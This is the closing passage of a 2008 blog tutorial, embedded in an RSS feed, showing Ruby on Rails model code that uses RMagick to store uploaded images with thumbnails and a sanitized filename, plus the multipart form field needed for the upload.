Now fix up your model to do something with the new image.  I did this (not much code for what you get!):</p>
<p><code><br />
  def uploaded_picture= image_data<br />
    if image_data<br />
      img_orig = Magick::Image.from_blob image_data.read<br />
      thumb = img_orig.first.scale(200, 200)</p>
<p>      self.image_filename = base_part_of(image_data.original_filename)<br />
      self.image_content_type = image_data.content_type.chomp<br />
      self.image_binary_data = img_orig.first.to_blob<br />
      self.image_thumb_binary_data = thumb.to_blob<br />
    end<br />
  end</p>
<p>  def base_part_of(file_name)<br />
    File.basename(file_name).gsub(/[^\w._-]/,'')<br />
  end<br />
</code></p>
<p><strong>The code has eyes</strong><br />
Now modify your view to accept a file upload.<br />
Note that you need to set <code>:html => {:multipart => true}</code> for the <code><br />
<form_for /></code> tag or you&#8217;re in for a long and fruitless evening.</p>
<p>Add this to your form where &#8220;f&#8221; is the form in scope.<br />
<code><br />
<%= f.file_field :uploaded_picture, :label => &#8220;Image&#8221; %><br />
</code></p>
<p>And you&#8217;re done.  Hope this saves you some time!  PS - sorry about the screwy CSS.  I&#8217;m using a crufty wordpress theme.  Will fix when i have some time.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.whereisnigel.co.uk/2008/01/10/playing-with-images-rmagick-ruby-on-rails-large-coffee/feed/</wfw:commentRss>
		</item>
	</channel>
</rss>

<!-- Dynamic Page Served (once) in 0.433 seconds -->
